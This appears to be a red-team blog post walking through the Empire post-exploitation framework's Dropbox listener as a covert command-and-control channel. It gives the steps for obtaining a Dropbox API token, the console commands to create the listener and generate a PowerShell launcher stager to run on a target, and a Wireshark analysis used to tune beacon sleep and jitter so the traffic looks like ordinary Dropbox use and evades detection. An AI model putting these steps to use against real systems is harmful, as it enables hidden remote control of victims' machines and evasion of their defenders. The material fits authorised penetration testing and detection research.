Now that the Empire project has released the Dropbox Listener module to public with v2, let’s get it setup. For those organizations that are not blocking Dropbox, this is an excellent and highly reliable C2 channel.

It can probably go without saying that one of the coolest things about this module is that the attacker network is never revealed to the victim. The downside is that blocking all Dropbox IP reservations shuts this down. Pro’s and con’s to be considered if you decide to use this for an engagement.

This post will walk through getting your API key, configuring a listener and a stager, and finally some research into why you should tweak your listener sleep and jitter settings.

To get started you’ll first need to generate a Dropbox API access token. This will allow both the beacon and the server to authenticate with and use your Dropbox account for C2 comms. I highly recommend creating a new Dropbox account for just this purpose.

Generate your API key

1. Create a Dropbox Account
2. Got to “My Apps” on the Dropbox Developers site
3. “Create App” and Choose “Dropbox API”
4. Choose “App Folder”
5. Name your app, ie. “EmpireC2”
6. In the settings for your new App, generate a new access token (picture below)
7. Copy or save your access token somewhere

Configure your listener

Now that you have your access token, lets configure a listener in Empire.

(Empire) > listeners
(Empire: listeners) > uselistener dropbox
(Empire: listeners/dropbox) > info

(Empire: listeners/dropbox) > set APIToken [YOUR TOKEN HERE]
(Empire: listeners/dropbox) > execute

Create and execute your stager

(Empire: listeners) > usestager multi/launcher dropbox
(Empire: listeners) > info

(Empire: listeners) > execute

You can also generate a stager immediately after executing the listener

(Empire: listeners/dropbox) > launcher powershell

Now you’re ready to execute on the target or drop this into the payload of your choice. Of course this can be used with the regsvr32, hta, and other stagers available in Empire.

What does this traffic look like on the network?

Using Dropbox is cool and all, but what does our beacon actually look like on the network? To find out, I fired up Wireshark on my Mac where I had the Dropbox folder-sync client running. I had no other connections to Dropbox, so this served as a baseline to view “normal” Dropbox traffic when files are not changing. In other words, I wanted to know what the default beacon activity for Dropbox actually was, so I could emulate it more accurately.

Viewing the captured data I could see that the client performs the TLS handshake with a packet length fairly evenly distributed between 80-1281 bytes and Dropbox returns a 66 byte response (54% of the traffic), presumably saying “no change”. The capture filter using known Dropbox IPs (DNS resolution wasn’t reliable):

net 162.125.0.0/16 or net 45.58.64.0/20 or net 108.160.160.0/20 or net 185.45.8.0/22 or net 199.47.216.0/22

What I see from this capture is roughly a check-in every 30-60 seconds with some pseudo-random jitter. Without diving more into Dropbox, I think we can start with a 60sec check-in interval.

Using the same capture filter, this is what a 60 second interval with no jitter looks like:

That just screams beacon activity. The interval is almost perfectly reliable. The module performs the TLS handshake with a packet length average of 460 bytes (24% of the traffic) and Dropbox returns a 54 byte response (46% of the traffic), presumably saying “no change”. I find it interesting that using the API results in a different response from Dropbox itself.

I played with some of the options to see if I could more accurately reflect “normal” Dropbox activity. You can do this on the fly:

(Empire: agents) > sleep all 30 0.75

Which tells all the agents to change their sleep time to 30 seconds, and randomize the sleep time by 75% of the sleep time (+/- 22.5 seconds).

Its not perfect, but we’re starting to see some randomization as expected. Furthermore, this is getting closer to looking like real Dropbox beacon activity. One of the things we don’t have is variable packet sizes. The desktop client for Dropbox has a much wider range of packet sizes for its beacon activity, whereas the Dropbox module is much more consistent.

Finally, once you start interacting with your beacon, those packet size averages are going to go out the window.